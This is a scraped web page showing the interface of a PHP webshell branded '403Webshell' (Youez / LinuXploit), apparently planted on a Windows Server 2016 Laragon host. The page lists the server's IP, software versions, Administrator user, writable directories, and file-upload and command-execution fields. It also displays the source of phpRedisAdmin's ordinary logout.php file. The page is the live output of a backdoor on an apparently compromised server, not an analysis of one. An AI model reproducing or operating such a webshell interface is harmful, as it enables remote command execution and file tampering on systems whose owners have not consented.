403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /laragon4/etc/apps/phpRedisAdmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /laragon4/etc/apps/phpRedisAdmin/logout.php
<?php


$needed_parts = array(
  'nonce'    => 1,
  'nc'       => 1,
  'cnonce'   => 1,
  'qop'      => 1,
  'username' => 1,
  'uri'      => 1,
  'response' => 1
 );

$data = array();
$keys = implode('|', array_keys($needed_parts));

preg_match_all('/('.$keys.')=(?:([\'"])([^\2]+?)\2|([^\s,]+))/', $_SERVER['PHP_AUTH_DIGEST'], $matches, PREG_SET_ORDER);

foreach ($matches as $m) {
  $data[$m[1]] = $m[3] ? $m[3] : $m[4];
  unset($needed_parts[$m[1]]);
}


if (!isset($_GET['nonce'])) {
  header('Location: logout.php?nonce='.$data['nonce']);
  die;
}


if ($data['nonce'] == $_GET['nonce']) {
  unset($_SERVER['PHP_AUTH_DIGEST']);

  require 'includes/login.inc.php';
}


header('Location: '.substr($_SERVER['REQUEST_URI'], 0, strpos($_SERVER['REQUEST_URI'], 'logout.php')));

?>

Youez - 2016 - github.com/yon3zu
LinuXploit